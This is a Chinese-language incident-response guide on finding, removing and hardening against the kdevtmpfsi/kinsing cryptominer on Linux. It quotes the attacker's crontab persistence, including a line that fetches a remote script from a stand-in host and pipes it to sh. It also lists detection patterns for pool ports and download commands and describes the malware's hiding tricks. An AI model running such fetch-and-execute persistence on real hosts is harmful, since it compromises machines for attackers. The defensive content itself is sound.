ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Linux挖矿病毒应急响应全流程:kdevtmpfsi查杀与加固

Linux挖矿病毒应急响应全流程:kdevtmpfsi查杀与加固 凌晨两点四十分值班手机连着震了三下监控平台推来一条告警某台对外提供接口服务的 Linux 主机 CPU 使用率连续 15 分钟维持在 98% 以上负载从原来的 0.8 直接冲到 16。登上跳板机连过去一看top里一个名字叫kdevtmpfsi的进程稳稳占着 780% 的 CPU旁边还有个kinsing在来回闪。这就是一次非常典型的挖矿病毒应急响应现场。挖矿病毒这类东西本质上不是来偷你数据的它是来借你的电的——占用你的 CPU、GPU 和带宽去替别人算币顺带把你的机器变成内网横向的跳板。它不删库、不弹窗、不加密文件所以很多团队往往是机器卡到业务报警了才发现。这篇就把这次从告警到清除、从溯源到加固的完整过程摊开来说清楚涉及排查命令、持久化位置、清除顺序、IOC 提取和事后加固偏实战、可抄作业刚入行的安全运维和想补应急响应这块经验的朋友都能直接拿去用。1. 先弄明白对手的活法挖矿木马到底靠什么活着1.1 挖矿木马为什么总在最后才被发现很多人对入侵的想象是黑客敲开大门把你的数据搬空。真实的挖矿病毒完全不按这个剧本走。它的第一优先级是长期稳定占用算力所以它会极力保持低调不改你的首页不动你的数据库不往你桌面扔文件唯一的表现就是 CPU 曲线长期贴顶、风扇狂转、业务响应变慢。在云主机上这个特征还会被进一步稀释——业务本来就跑在高负载上监控阈值设得又宽松一个进程多吃几核 CPU短时间内很难触发告警。更麻烦的是它的寄生性。挖矿木马几乎从不单独存在它通常是一个完整攻击链的最后一环先通过一个入口拿到执行权限再落一个下载器下载器再去拉主挖矿程序和守护程序最后通过计划任务、系统服务、动态库劫持等方式把自己焊死在系统上。也就是说你在进程列表里看到的那个挖矿进程只是整条链上最显眼的一颗牙齿把它拔了牙根还留在牙龈里。提示挖矿木马的存在往往意味着入口已经被攻破至少一次。处置时如果只清掉了挖矿进程而不去找入口通常几天之内它会以另一种形式回来。从我们这次的现场看木马的驻留时间已经不短了。用stat看几个关键文件的时间戳最早的落地时间在五天前也就是说这台机器已经替别人白算了五天币而监控直到业务方反馈接口超时才报警。这五天里它做了什么、有没有横向到内网其他机器都是必须在处置阶段一并确认的事情。1.2 它的三条命拉起、藏身、外联把挖矿木马拆开看它能活下来靠的是三件事理解这三件事后面的清除顺序就顺理成章了。第一是拉起机制。单个进程被杀了不要紧它准备了至少一个保姆可能是 crontab 里每分钟执行一次的脚本可能是 systemd 服务可能是一个互相监控的守护进程也可能是父进程监听子进程退出后立刻重新 fork。这就是为什么很多人kill -9之后刷新一下进程列表它又原封不动地出现了。第二是藏身机制。文件名伪装成系统进程名是最基础的比如kdevtmpfsi这种看似内核线程的名字或者直接在/tmp、/dev/shm、/var/tmp这类目录里落地。进阶一点的手法包括用chattr i给文件加不可变属性让 root 都删不掉在/etc/ld.so.preload里写入恶意动态库实现命令劫持把进程名改成[kworker/0:1]这样的方括号形式伪装成内核线程。第三是外联机制。挖矿必须有矿池地址木马要定期向矿池发送心跳和算力上报这个连接是它藏不住的死穴。哪怕进程名伪装得再好、文件删得再干净只要ss -antp里还有一条到陌生 IP 的 3333、4444、5555、7777、8080、8888 这类端口的稳定长连接配合进程 PID 就能把它钉死。注意排查时不要只盯着 CPU 最高的那一个进程。有的木马会刻意把算力控制在 60%~70%或者只在业务低峰期拉满用高 CPU 排序未必能第一时间抓到它。理解了这三条命处置思路就很清晰了先断外联让木马失去意义再断拉起让它不能复活最后清文件把残骸扫干净。顺序错了你会陷入杀了又活、活了又杀的死循环白白浪费几个小时。2. 进场前的三件事定性、止损、留证2.1 应急响应的顺序比速度更重要新手最容易犯的错误是一上来就杀进程、删文件。手感是爽了但证据也一起没了后面溯源入口、评估影响范围、写事件报告的时候全靠猜。这次我们的处理顺序是定性 → 留证 → 止损 → 清除 → 加固每一步都留了记录。定性解决的是这到底是不是安全事件。CPU 高有可能是业务代码死循环、有可能是正常的批处理任务、也有可能是木马。判定的核心依据是进程的来源和行为可执行文件路径是否为系统标准路径、启动时间是否和系统启动时间一致、父进程是谁、有没有外联陌生地址。这次kdevtmpfsi的可执行文件在/tmp下父进程已经不存在被--ppid 1收养基本可以定性。留证解决的是事后能不能复盘。这一步不需要多复杂的工具关键是把易失性数据先固定下来。进程列表、网络连接、登录记录、计划任务、启动项这些东西一旦重启机器就全没了。我们当时先在管理通道上把现场快照导出再动手处置。止损解决的是别再扩大了。如果这台机器在内网且已经确认被控优先做的是网络层隔离——只保留管理通道切断它对内网其他主机的访问能力防止横向。如果业务不能停至少把出向流量限制住让木马连不上矿池。提示隔离前一定先确认自己还有可用且独立的管理通道。有些运维直接在安全组里把自己也封了最后只能走带外控制台白白多花一个小时。2.2 五分钟现场快照清单下面这套命令是我们每次进场都会跑一遍的组合覆盖进程、网络、账户、持久化、日志五个面五分钟左右能跑完输出统一存到一个目录里再打包带走。注意输出重定向到 U 盘或另一台机器上不要留在被感染的机器上。# 1. 建立取证目录 mkdir -p /ir_evidence/$(date %F_%H%M) cd /ir_evidence/$(date %F_%H%M) # 2. 进程与资源快照 top -b -n 1 top.txt ps -auxwwf ps.txt ps -eo pid,ppid,user,pcpu,pmem,lstart,cmd --sort-pcpu ps_cpu.txt # 3. 网络连接与外联 ss -antp ss.txt netstat -antp netstat.txt lsof -i -n -P lsof_net.txt # 4. 账户与登录 cat /etc/passwd passwd.txt awk -F: ($30){print} /etc/passwd uid0.txt last -a last.txt lastb -a lastb.txt 2/dev/null # 5. 持久化位置 crontab -l crontab_root.txt 2/dev/null for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u 2/dev/null; done crontab_all.txt ls -alR /etc/cron* /var/spool/cron cron_files.txt 2/dev/null systemctl list-units --typeservice systemd_units.txt ls -al /etc/systemd/system/ /usr/lib/systemd/system/ systemd_files.txt 2/dev/null cat /etc/ld.so.preload ld_so_preload.txt 2/dev/null ls -al /etc/rc.local /etc/init.d/ rc_local.txt 2/dev/null cat ~/.bashrc ~/.bash_profile /etc/profile 2/dev/null profile_bak.txt # 6. 临时目录与最近改动文件 ls -alR /tmp /var/tmp /dev/shm tmp_dirs.txt 2/dev/null find / -xdev -mtime -7 -type f recent_files.txt 2/dev/null这套命令里有两处值得单独说明。一是ps -eo ... lstart这个参数它会打印进程的精确启动时间很多木马会伪装成系统进程但启动时间会暴露它——真正的内核线程启动时间应该和系统uptime一致如果某个内核线程的启动时间在昨天下午那它就是假的。二是find / -xdev -mtime -7-xdev参数避免跨文件系统扫描挂载的网络盘和对象存储能把扫描时间从十几分钟压到一分钟以内。拿到这些输出之后先别急着分析全部按CPU 最高的进程 → 它对应的可执行文件 → 它的网络连接 → 它的持久化方式这条线走一般十五分钟内就能把主线摸清楚。3. 从 CPU 到进程把嫌疑人钉死在进程表上3.1 进程层最容易露马脚的三个信号第一个信号是可执行文件的路径。正常系统进程的可执行文件都在/usr/bin、/usr/sbin、/lib/systemd这些标准路径下。挖矿木马为了躲避权限和清理通常落在/tmp、/dev/shm、/var/tmp、/root甚至/usr/local/bin里。用下面这条命令可以直接看到每个进程的 exe 链接指向ls -al /proc/PID/exe ls -al /proc/PID/cwd tr \0 /proc/PID/cmdline; echo tr \0 \n /proc/PID/environ三个路径要连着看。exe是指向可执行文件的软链接如果后面带(deleted)说明文件已经被删除但进程还在内存里跑这是木马清残留的典型场景cwd是工作目录木马往往在/tmp下工作cmdline是完整启动参数里面经常能看到矿池地址或者配置文件路径。第二个信号是父进程与进程树。用ps -auxwwf看树形结构正常业务进程都有清晰的父进程链。挖矿进程最典型的情况是父进程为 1也就是被 init 收养的孤儿进程这几乎必然是异常。更进一步如果两个进程互相是对方的父进程、或者反复出现又消失那就是守护关系。第三个信号是启动时间与进程名的一致性。前面提到用lstart看启动时间。另外进程名也可以造假ps里如果看到一个带方括号的名字但你用ps -ef又找不到对应的内核线程特征就要警惕。这时候用cat /proc/PID/status看Name字段再用cat /proc/PID/stat的第二列看真实的进程名两者不一致就是伪装。注意不要用ps的输出直接下结论。老练一点的木马会替换ps、top、netstat这些命令本身或者在/etc/ld.so.preload里挂一个库来过滤输出。所以交叉验证很重要——ps看不到的/proc目录一定看得到因为/proc是内核直接暴露的木马很难在不加载内核模块的前提下篡改。3.2 网络连接是挖矿木马的死穴进程可以伪装文件名可以随机但矿池地址必须是真的——木马得真连上矿池才能干活。所以在排查里网络连接的价值比进程列表还高。我们用ss -antp一眼就抓到了关键有个进程对外保持着两条到境外 IP 的 ESTABLISHED 连接端口是 3333 和 14444这两个端口是挖矿协议里最常见的心脏跳端口。顺手确认一下# 看某个 PID 的所有网络连接 ss -antp | grep PID lsof -p PID | grep -i -E tcp|udp # 统计外联目标找出高频陌生 IP ss -antp | awk {print $5} | cut -d: -f1 | sort | uniq -c | sort -rn | head -20 # 看 DNS 解析记录很多木马用域名而非硬编码 IP grep -i -E pool|mine|xmr|coin|nanopool|minexmr /etc/hosts /etc/resolv.conf 2/dev/null这里有个小技巧先统计再聚焦。直接把所有外联 IP 按出现次数排序陌生的、高频的、又不在你自己资产清单里的就是重点怀疑对象。这个动作比一个一个看进程快得多尤其是在机器上跑着几十个服务的时候。另外别忘了 UDP。有些木马会用 DNS 隧道或者 UDP 打洞来隐藏流量ss -uanp也要看一眼。如果发现某个进程在持续发大量 UDP 包而它又不是 DNS 或监控代理基本可以确定有问题。拿到外联 IP 之后接下来的动作是确认影响范围在边界设备或者全网的日志里搜这个 IP看还有没有别的机器也在连它。这一步经常能挖出同批次被入侵的其他主机。我们这次就在日志平台里搜出了另外两台同网段机器它们也有相同的 3333 端口外联记录属于同一个攻击批次。3.3 持久化排查它靠什么复活清除不干净九成原因是持久化位置没找全。挖矿木马的持久化手法其实就那么几类按出现频率排下来持久化方式典型位置排查命令用户计划任务/var/spool/cron/usercrontab -l -u user系统计划任务/etc/crontab、/etc/cron.d/、/etc/cron.hourly/ls -alR /etc/cron*systemd 服务/etc/systemd/system/*.servicesystemctl list-unit-files --stateenabled开机启动脚本/etc/rc.local、/etc/init.d/cat /etc/rc.localShell 环境文件~/.bashrc、~/.profile、/etc/profile.d/grep -r curl|wget|base64 /etc/profile.d/SSH 公钥~/.ssh/authorized_keyscat ~/.ssh/authorized_keys动态库预加载/etc/ld.so.preloadcat /etc/ld.so.preload内核模块lsmod非常规模块lsmod | diff - (sort baseline)我们这次的现场crontab 里被塞了两条*/1 * * * * curl -fsSL hxxp://example[.]com/s.sh | sh /dev/null 21 reboot /tmp/kdevtmpfsi /dev/null 21第一条是每分钟拉一次脚本并执行这就是杀了又活的根源第二条是重启后自动拉起。两条都必须先清掉否则后面做的所有清理动作都是无用功。提示排查 crontab 一定要遍历所有用户不能只看 root。有些木马会新建一个 UID 为 0 的账户或者往 www-data、nginx 这类服务账户里塞计划任务用crontab -l是看不到的得进/var/spool/cron/目录挨个看。还有一处容易被漏掉的是SSH 的authorized_keys。攻击者留下公钥之后即使你改了密码他照样能进来。这次我们在/root/.ssh/authorized_keys里发现了一个陌生的公钥注释字段是一串随机字符时间戳和木马落地时间吻合。这条必须删掉而且要把 SSH 密码登录关掉、改成密钥加多因子否则改密码只是治标。4. 清除实操为什么 kill -9 之后它还能回来4.1 三条复活链路与断链顺序kill -9杀不掉的根本原因是它背后的拉起机制没被切断。常见的复活链路有三条必须按顺序断。第一条是计划任务链。这是最常见的一种。木马往里写一条每分钟执行的任务脚本内容通常是检查进程在不在不在就下载并启动。你杀了进程一分钟内它就被重新拉起。断链顺序是先注释或删除 crontab 条目再杀进程。注意crontab -r会清空当前用户所有任务如果这台机器上有正常业务定时任务千万不要用-r用crontab -e手工删掉恶意行。第二条是互为主备的双进程链。两个进程互相监控A 挂了 B 拉起B 挂了 A 拉起。典型组合就是一个挖矿进程加一个守护进程。这种情况下要同时杀不能一个一个来。实操中可以用一条命令把两个 PID 一起干掉kill -9 PID_A PID_B如果进程对信号做了特殊处理还可以用pkill -9 -f按特征匹配批量处理但用之前一定先pgrep -af确认匹配范围防止误杀业务进程。第三条是 systemd 服务链。木马把自己注册成一个看起来很像系统服务的单元比如systemd-networkd-helper.service这种名字属性里带Restartalways。这种情况下直接 kill 进程会触发自动重启。正确姿势是systemctl stop unit、systemctl disable unit、删掉 unit 文件最后systemctl daemon-reload。注意删除 unit 文件之后一定要执行daemon-reload否则 systemd 内存里还留着旧的单元定义它依然能把进程拉起来。这个坑我们当时踩过一次排查了半天。4.2 文件层的障眼法和处理方式进程和拉起机制处理完接下来是文件。这一步有两个常见障碍。障碍一是不可变属性。木马用chattr i给文件加上i属性之后连 root 都删不掉rm会报Operation not permitted。用lsattr一看就明白了lsattr /tmp/kdevtmpfsi /tmp/kinsing # 输出类似----i---------e---- /tmp/kdevtmpfsi chattr -i /tmp/kdevtmpfsi rm -f /tmp/kdevtmpfsii代表不可变a代表只能追加e是 ext4 的扩展属性正常。看到i和a都要先去掉再删。障碍二是动态库劫持。木马在/etc/ld.so.preload里写一个恶意.so文件路径这个库会被所有动态链接的程序优先加载。它能干的事情很多劫持readdir让ls看不到自己的文件劫持open让cat读不到自己的配置甚至劫持kill让杀进程操作失效。这个文件是排查的重中之重cat /etc/ld.so.preload # 正常应该是空的或者不存在 # 如果有内容先备份再清空 echo /etc/ld.so.preload清空之后要立刻验证一下常用命令是否恢复正常ls /tmp能不能看到东西、ps输出是否和/proc目录的数量对得上。如果对不上说明还有别的劫持点继续查/etc/ld.so.conf.d/目录下的配置文件。处理顺序上有个细节清空ld.so.preload应该放在杀进程之前。因为如果kill命令已经被劫持你在它生效之前做的一切杀进程动作都是无效的甚至看不到报错。我们这次的顺序是清ld.so.preload→ 验证命令正常 → 删 crontab → 同时杀父子进程 → 清理文件。4.3 一套可复制的清除流程含容器场景把上面几步串起来就是一套可以照着做的流程。执行前确保已经完成留证并且有回滚方案。# 步骤 1清空动态库预加载恢复命令可信度 cp /etc/ld.so.preload /ir_evidence/ld.so.preload.bak 2/dev/null echo /etc/ld.so.preload # 步骤 2清理计划任务注意逐个用户检查 crontab -l /ir_evidence/crontab_root.bak crontab -l | grep -v -E example|kdevtmpfsi|kinsing|curl.*\|.*sh | crontab - ls -al /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/ # 步骤 3停止并禁用恶意 systemd 单元 systemctl list-units --typeservice --all | grep -i -E kdev|kinsing|helper systemctl stop unit_name systemctl disable unit_name rm -f /etc/systemd/system/unit_name systemctl daemon-reload # 步骤 4去掉文件不可变属性并删除 for f in /tmp/kdevtmpfsi /tmp/kinsing /dev/shm/*; do [ -e $f ] chattr -ia $f 2/dev/null rm -f $f done # 步骤 5同时杀掉守护进程组 pkill -9 -f kdevtmpfsi pkill -9 -f kinsing # 步骤 6清理 SSH 后门公钥 cat /root/.ssh/authorized_keys /ir_evidence/authorized_keys.bak # 人工比对后删除陌生条目 # 步骤 7复查 ps -auxwwf | grep -i -E kdev|kinsing|tmp ss -antp | grep -E :3333|:14444|:5555 ls -al /tmp /dev/shm /var/tmp容器场景要单独说。这次事件里有一台宿主机上跑着容器木马是从容器里逃逸出来落到宿主机/tmp的。容器环境下有个特别容易踩的坑直接docker restart容器容器里被感染的进程可能因为镜像层的持久化配置又被拉起来而且重启过程中你失去了现场。正确做法是先保留容器现场再重建# 保留现场 docker ps -a /ir_evidence/docker_ps.txt docker inspect container_id /ir_evidence/docker_inspect.json docker logs container_id /ir_evidence/docker_logs.txt 21 docker diff container_id /ir_evidence/docker_diff.txt # 检查容器内是否有可疑挂载和特权配置 docker inspect container_id | grep -A5 -i -E privileged|cap_add|pid # 检查宿主机上的容器运行时接口是否对外暴露 ss -antp | grep -E :2375|:2376|:6443docker diff这条命令特别有用它会列出容器文件系统相对于镜像的所有改动木马在容器里落的所有文件都会显示出来比手工去翻快得多。如果容器运行时接口比如 2375 端口在公网上裸奔那基本可以确定入口就在这里处置完必须立刻收紧。清完之后不要急着宣布结束。我的习惯是观察至少 24 小时重点看三件事ps里有没有新的可疑进程、网络连接里有没有新的陌生外联、/tmp和/dev/shm里有没有新落地文件。这三项都干净才能进入加固阶段。5. 溯源与加固把进来的门堵上5.1 入口排行榜与针对性加固清除只是止血不找到入口下次还会中。从我们处理过的事件统计看挖矿病毒进入 Linux 主机的入口高度集中按出现频率大致如下排名入口典型特征加固动作1SSH 弱口令爆破大量失败登录成功后立即建公钥禁密码登录、改密钥认证、限制来源 IP2Redis 未授权访问6379 暴露公网、无密码、以 root 运行绑内网、设密码、改名危险命令、降权运行3Web 应用漏洞应用日志里有异常上传或命令执行请求及时打补丁、限制上传目录执行权限4数据库/MQ 未授权3306、27017、5672 等端口暴露绑内网、白名单、强密码5容器运行时接口暴露2375 端口公网可达关闭公网访问、开启 TLS 认证6运维组件弱口令管理后台、监控面板默认密码改默认口令、加访问控制这次事件追根溯源入口是 Redis 未授权。业务方为了调试方便把 Redis 的 6379 端口开在了公网而且没有设密码还是用 root 身份跑起来的。攻击者连上之后直接写了一个计划任务进去落地了挖矿程序。修复动作很直接Redis 配置里绑定内网地址、设置requirepass、把CONFIG、FLUSHALL这类危险命令重命名或者禁用、改成非 root 用户运行。四条里随便做到三条这个入口就基本堵死了。提示改端口不算加固。扫描器扫全端口是常规操作把 6379 改成 16379 只是增加了被发现的时间成本不能替代认证和访问控制。SSH 这块也是重点。我们检查了/var/log/secure发现事件前三天有持续的高频失败登录来自多个分布在不同网段的地址峰值一天几十万次。这种情况下单靠改密码是扛不住的必须上密钥认证加失败封禁。sshd_config里至少要做这几项# 关键配置项 PermitRootLogin no # 禁止 root 直接登录 PasswordAuthentication no # 关闭密码认证只用密钥 PubkeyAuthentication yes MaxAuthTries 3 # 最大重试次数 LoginGraceTime 30 # 登录宽限期 AllowUsers deploy # 白名单用户最后一条AllowUsers经常被忽略但效果非常直接——白名单之外的用户连尝试的机会都没有。5.2 IOC 提取与检测思路应急响应做完最有价值的产出除了修好的机器就是一份可复用的 IOC 清单和检测规则。这次我们提取的 IOC 分四类类型内容示例说明文件路径/tmp/kdevtmpfsi、/tmp/kinsing、/dev/shm/.x临时目录下的可执行文件网络指标外联端口 3333、14444域名 hxxp://example[.]com矿池地址与心跳端口持久化指标crontab 中的 curl 管道执行、/etc/ld.so.preload非空高置信度异常账户指标/root/.ssh/authorized_keys陌生公钥、UID 为 0 的新账户后门账户与密钥围绕这些 IOC可以落几条低成本高收益的检测规则。文件完整性监控盯住/etc/ld.so.preload、/etc/crontab、/etc/systemd/system/这几处路径一变就告警主机层用一个简单的定时脚本扫描/tmp、/dev/shm、/var/tmp下的可执行文件网络层在边界设备上对矿池常见端口做外联告警任何一个内网 IP 主动外联 3333、4444、5555 这类端口都值得看一眼。# 一个可以直接挂在 cron 里的轻量巡检脚本 #!/bin/bash LOG/var/log/miner_check.log echo $(date) $LOG # 1. 临时目录下的可执行文件 find /tmp /dev/shm /var/tmp -type f -perm -ux -mtime -1 $LOG 2/dev/null # 2. 动态库预加载异常 [ -s /etc/ld.so.preload ] echo [ALERT] ld.so.preload not empty $LOG # 3. UID 为 0 的账户 awk -F: ($30){print [ALERT] uid0: $1} /etc/passwd $LOG # 4. 高 CPU 进程 ps -eo pid,pcpu,comm --sort-pcpu | head -5 $LOG # 5. 外联常见矿池端口 ss -antp | grep -E :3333|:4444|:5555|:7777|:14444 $LOG这个脚本的价值不在于它能自动处置而在于它把发现时间从业务报警的几小时压缩到几分钟。挖矿木马越早发现损失越小。5.3 事后加固清单处置完这次事件之后我们按下面的清单把机器过了一遍这里也一并列出来可以直接当检查表用。账户与认证清理无用账户、禁止空口令、检查 UID 为 0 的账户、检查sudoers文件、删除所有陌生 SSH 公钥、开启登录失败封禁。服务与端口梳理所有对外端口、把数据库和缓存中间件收回内网、关闭不需要的服务、检查容器运行时接口是否暴露、限制管理后台来源 IP。持久化与启动核对 crontab 全量内容、核对 systemd 单元列表、核对/etc/rc.local、核对/etc/profile.d/下的脚本、确认/etc/ld.so.preload为空。日志与监控确认系统日志未被清空、开启关键文件完整性监控、配置 CPU 和负载告警、配置异常外联告警、日志集中收集到独立的日志平台。备份与恢复确认离线备份可用、验证恢复演练、把本次 IOC 纳入备份环境的检测。注意日志被清空本身就是强烈的入侵信号。有些木马会在入侵后执行清空/var/log/的动作如果你发现secure、wtmp、messages这几个文件的时间戳异常新或者大小明显不对那必须把它当成事件的一部分来处理不能简单认为是日志轮转。6. 高频问题速查与踩坑记录6.1 处置过程问题速查表应急响应现场节奏很紧把高频问题整理成表格便于快速查阅。现象常见原因处理方式kill -9后进程立刻回来有 crontab 或守护进程拉起先清计划任务再同时杀父子进程文件删不掉报权限错误文件有i或a属性chattr -ia去掉属性再删ls看不到文件但 disk 占用没降ld.so.preload劫持了readdir清空/etc/ld.so.preload后复查改密码后攻击者仍能登录存在 SSH 后门公钥或新增账户清理authorized_keys检查 UID 为 0 账户systemd 服务停不掉单元文件未 reload删文件后执行systemctl daemon-reload容器重启后木马还在镜像或挂载卷被污染用干净镜像重建检查卷内容找不到入口日志被清理或未集中收集从边界设备和外联记录反向定位6.2 几条用教训换来的经验第一条经验是处置前先备份证据哪怕只是几条命令的输出。我们第一次处理这类事件时图快直接杀了进程删了文件结果事后写报告、做影响评估、向上汇报全都拿不出数据只能凭记忆描述非常被动。现在不管多紧急我都会先跑一遍现场快照五分钟的事。第二条经验是善用/proc而不是信任命令输出。木马替换命令、劫持动态库的手法越来越常见ps、ls、netstat都可能说谎但/proc目录下的内容由内核直接维护篡改门槛高得多。养成用/proc/PID/交叉验证的习惯能少踩很多坑。第三条经验是别只清一台机器。挖矿木马经常是批量作业同一个入口打进内网之后会在多台机器上落地。我们这次就是从一台机器的外联 IP 出发在全网日志里搜出另外两台同批次受害主机。如果只清一台就收工过几天同样的告警还会响。第四条经验是加固要做在日志上而不是记忆里。处理过的事件如果只停留在人的记忆里值班换人之后就失效了。把 IOC 转成检测规则、把巡检脚本挂进 cron、把异常外联做成告警这些动作花的时间不多但能把下一次的响应时间从几小时压到几分钟。第五条经验是理解原理比背命令重要。排查命令就那么几十条但每一台机器的情况都不一样有的是 crontab有的是 systemd有的是动态库劫持有的是容器逃逸。背命令只能解决见过的场景理解它靠什么活着这三条主线——拉起、藏身、外联——才能在面对新变种时快速定位。这也是为什么我建议想深入安全运维方向的朋友除了练靶场和刷题一定要找机会完整跟一次真实事件的处置从告警到报告走完一遍那种理解是看十篇教程都换不来的。这次事件从告警到完全处置收尾前后花了大概七个小时其中清除本身只用了不到一小时剩下的时间全花在溯源、范围确认和加固上。这个时间分配其实很能说明问题清除是技术活溯源是耐心活加固是管理活。真正决定一次应急响应质量的往往不是你杀进程有多快而是你有没有留下证据、有没有找到入口、有没有把同类风险堵住。
返回列表